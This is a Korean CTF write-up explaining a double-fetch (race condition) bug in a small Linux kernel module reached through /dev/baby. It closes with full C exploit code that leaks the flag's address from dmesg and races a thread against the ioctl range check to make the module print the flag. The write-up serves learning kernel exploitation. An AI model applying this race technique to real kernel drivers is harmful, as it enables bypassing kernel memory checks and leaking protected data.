double fetch
취약점이 발생하는 모듈이 존재한다.
리눅스 커널에서의 race condition
이라고 생각하면 된다.
user-space binary
보다 double fetch
취약점이 리눅스 커널상에서 많이 발생하는 이유는 context switch의 유무 차이인 것 같다.
일단 모듈은 굉장히 작으며, 간단하게 살펴보면 다음과 같다.
flag
의 주소를 출력해준다.
난잡한 조건문을 거친 뒤 *input == flag
라면 flag
를 출력해준다.
즉, input
에 얻은 flag
의 주소를 넣어줘야 한다.
여기서 __chk_range_not_ok
함수를 살펴보자.
첫 번째 인자와 두 번째 인자를 __CFADD__
를 통해 더하는데, 만약 첫 번째 인자에 커널 주소, 즉 flag
의 주소가 들어오면 carry flag
가 셋팅되어 result
가 1이 돼버린다.
또한, 이를 더한 것이 세 번째 인자보다 작아야 하므로, user_space addr
이 전달되어야 하는 것은 명확하다.
그러면 조건문을 통과하지 못한다. 즉, user_space addr
이 전달되어야 조건을 통과할 수 있다.
하지만 여기서 double-fetch
취약점을 이용하여 이를 우회할 수 있다.
user_space addr
을 이용하여 조건을 모두 통과한 시점에 input
을 user_space addr
에서 flag addr
로 바꾸는 것이다.
그렇게 thread
를 만들어 쭉 돌려주면 flag
가 나온다.
int fd;
int finish = 0;
size_t flag_addr;
struct attr
{
size_t flag;
size_t len;
};
void change_attr_value(void* s)
{
struct attr* s1 = s;
while(finish==0)
{
s1 -> flag = flag_addr;
}
}
void get_flag_addr()
{
ioctl(fd, ioctl_get_flag_addr);
}
void get_flag(size_t val)
{
ioctl(fd, ioctl_get_flag, val);
}
>>void main()
{
char buf[BUF_LEN];
struct stat sb;
struct attr t;
pthread_t t1;
fd = open("/dev/baby", O_RDWR);
if (fd < 0)
{
printf("cannot open /dev/baby.\n");
return;
}
get_flag_addr();
system("dmesg | tail > /tmp/mesg");
int file = open("/tmp/mesg", O_RDONLY);
if (fstat(file, &sb) < 0)
{
printf("fstat error.\n");
return;
}
if (sb.st_size > BUF_LEN)
sb.st_size = BUF_LEN;
read(file, buf, sb.st_size);
if (close(file) != 0)
{
printf("cannot close /tmp/mesg.\n");
return;
}
char* p = strstr(buf, "Your flag is at");
if (p == 0)
{
printf("cannot found flag");
return;
} else {
p += 16;
flag_addr = strtoul(p, p+16, 16);
printf("flag_addr: %lx\n", flag_addr);
}
t.len = 33;
t.flag = buf;
pthread_create(&t1, NULL, change_attr_value, &t);
for (int i=0; i< 0x1000; i++)
{
ioctl(fd, 0x1337, &t);
t.flag = buf;
}
finish = 1;
pthread_join(t1, NULL);
if (close(fd) != 0)
{
printf("cannot close /dev/baby.\n");
return;
}
puts("[+]result is :");
system("dmesg | grep flag");
}
'system > writeup' 카테고리의 다른 글
2019 d3ctf ezfile (0) | 2019.12.15 |
---|---|
2019 holyshield babyheap (0) | 2019.12.04 |
2018 bctf three (0) | 2019.12.01 |
2018 bctf houseofatum (0) | 2019.12.01 |
2019 d3ctf new_heap (0) | 2019.11.30 |